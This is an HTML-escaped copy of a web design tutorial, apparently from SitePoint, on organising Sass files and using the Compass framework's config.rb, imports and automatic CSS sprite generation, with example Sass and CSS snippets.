&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;When you import the snippet files into your main style file there&amp;rsquo;s no need to include the underscore of the file extension&amp;mdash;Sass knows you&amp;rsquo;re working with&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;files.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;As you might have guessed, it makes total sense to organize your Sass files into folders for easy separation of logic and structure&amp;mdash;you can get as complex as you need, but remember that everything you do will need to make some sort of sense six months down the line when you come back to modify stuff. Don&amp;rsquo;t make it more difficult for your future self (or a different developer).&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Extending Sass&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There are a number of excellent add-ons or frameworks built on top of Sass. But I&amp;rsquo;m going to talk about just one&amp;mdash;the almighty&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://compass-style.org/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;Compass&lt;/font&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Compass&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Working with Sass and Compass makes me smile. In actual fact, I&amp;rsquo;m smiling as I write about Compass and I&amp;rsquo;m hoping you will be too when you&amp;rsquo;re done with this article. Compass is a full-featured framework built on top of Sass that includes reusable patterns, sprite generation, typographic rhythms and all the CSS3 mixins you&amp;rsquo;ll ever need.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The compiling software I mentioned above will all be able to deal with Compass, so getting started with Compass is a very simple process. Create a file in the root of your web project called config.rb&amp;mdash;this file will tell Sass that you&amp;rsquo;ll be using Compass for your project. The code below is the very minimun you require to get Compass going.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;font size=&quot;2&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;# Require any additional Compass plugins here. # Set this to the root of your project when deployed: http_path = &amp;quot;/&amp;quot; css_dir = &amp;quot;css&amp;quot; sass_dir = &lt;/code&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;/font&gt;&amp;quot; images_dir = &amp;quot;images&amp;quot; javascripts_dir = &amp;quot;js&amp;quot; fonts_dir = &amp;quot;fonts&amp;quot; output_style = :expanded environment = :development&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Check out&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://compass-style.org/help/tutorials/configuration-reference/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;the documentation&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;for other options you could set.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The next step is to import Compass into your main style file. You can either import the entire Compass framework or parts of it as and when you need them.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@import &amp;quot;compass&amp;quot;; @import &amp;quot;global/mixins&amp;quot;; [...]&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Or&amp;hellip;&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@import &amp;quot;compass/utilities&amp;quot;; @import &amp;quot;compass/css3&amp;quot;; @import &amp;quot;compass/typography/vertical_rhythm&amp;quot;; @import &amp;quot;global/mixins&amp;quot;; [...]&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I could blow another 5,000 words waxing lyrical about Compass as there is so much to it, but instead I&amp;rsquo;m going to dig into one of the most powerful features to grace our text editors since&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;float: left;&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&amp;hellip;&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Sprite Generation&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Sprites have quickly become the default standard to delivering images on the web using CSS. If you&amp;rsquo;re unfamiliar with the concept then I suggest you have a&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://www.alistapart.com/articles/sprites/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;quick&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://css-tricks.com/css-sprites/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;read&lt;/font&gt;&lt;/a&gt;. They are great for the web but they can very quickly become a pain in the ass! I often find I have to update my sprites as a project progresses and this becomes a chore as you not only have to update your main sprite sheet but you also have to update your CSS (and potentially HTML, too).&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Over the years, there have been some great tools introduced to help make this process easier but nothing has quite sat right with me. Until now.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The main idea here is that you should create single images as you would have in the olden days. The important thing is to keep your images organised into folders, as illustrated below.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;img style=&quot;margin: 0px; padding: 0px;&quot; alt=&quot;&quot; src=&quot;http://www.sitepoint.com/wp-content/uploads/1/files/2013/03/folders.png&quot; /&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;
&lt;figcaption style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;Screenshot of organised image folder&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The next step is to include the required compass mixins and utils and import your images. In the following examples, I&amp;rsquo;ll be illustrating how this might work when using the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;images/icons&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;folder.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;// include the compass spite utility if not already included @import &amp;quot;compass/utilities/sprites&amp;quot;; // import your images // note: compass already knows my images live in the /images/ folder @import &amp;quot;icons/*png&amp;quot;; // automagically generate class names @include all-icons-sprites;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I&amp;rsquo;ll walk you through that. The first import is importing the correct Compass sprite utils. The next import is telling Compass where the images are that you&amp;rsquo;d like to use as a sprite. The include line is where some magic occurs. This line will auto-generate a bunch of class names based on the name of the image folder and the name of the PNGs therein. The generated CSS is below:&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;.icons-actions-add-mini, .icons-actions-delete-mini, [...] .icons-multimedia-camera {   background: url('/images/icons-s34fe0604ab.png') no-repeat; } .icons-actions-add-mini {background-position: 0 0;} .icons-actions-delete-mini {background-position: 0 -16px;} [...] .icons-multimedia-camera { background-position: 0 -96; }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;At this point you could just walk away and happily use those generated classes wherever you wanted. Job done. Thanks, Compass!&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;However, I often find I&amp;rsquo;ll need to add my own class names&amp;mdash;based on nested elements, perhaps. No worries. Compass allows us to do this.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Note:&lt;/strong&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;With the following examples, the param passed into those&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;icons-sprite-*()&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;utils are the names of the .png files in your&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;images/icons&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;folder.&lt;/em&gt;&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@import &amp;quot;icons/*.png&amp;quot;; .actions {   .add    { @include icons-sprite(actions-add-mini); }   .delete { @include icons-sprite(actions-delete-mini); } } .contact {   .mail  { @include icons-sprite(contact-mail); }   .phone { @include icons-sprite(contact-phone); } } .some-random-class-name { @include icons-sprite(hardware-television); }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There quite a few other customisations Compass gives you. This next example is one I find myself using quite a bit.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;// making use of width/height magic selectors .icon-giant-killer-bear {   $width: icons-sprite-width(giant-killer-bear);   $height: icons-sprite-height(giant-killer-bear);   @include icons-sprite(giant-killer-bear);   @include size($width, $height);   margin: 0 4px 0 0;   vertical-align: text-bottom; }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The above example illustrates how easy it is to get the image dimensions of a particular image from your sprite. Couldn&amp;rsquo;t be any easier!&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I haven&amp;rsquo;t dug too deeply into all of the sprite utils but check the Compass website for the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://compass-style.org/reference/compass/utilities/sprites/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;full sprite documentation&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;as I&amp;rsquo;m sure there are a load of other awesome things out there.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;To Sum Up&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There is an exciting new world of front-end code out there and this is just a very small part of it. Start using Sass now! It&amp;rsquo;s made my code writing more efficient and it&amp;rsquo;s made writing CSS a lot more enjoyable. I&amp;rsquo;m no expert when it comes to this stuff&amp;mdash;I&amp;rsquo;m still learning new awesome things every day, so if you find any errors or omissions please let me know by shouting at me in the comments.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;If you&amp;rsquo;re in Australia during March, you can also catch me talking about Sass in a&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://www.maxdesign.com.au/workshops/&quot; rel=&quot;nofollow&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;series of workshops&lt;/font&gt;&lt;/a&gt;, together with&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://www.sitepoint.com/author/russweakley/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;Russ Weakley&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;on Responsive Web Design&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Original Article From:&lt;/p&gt;
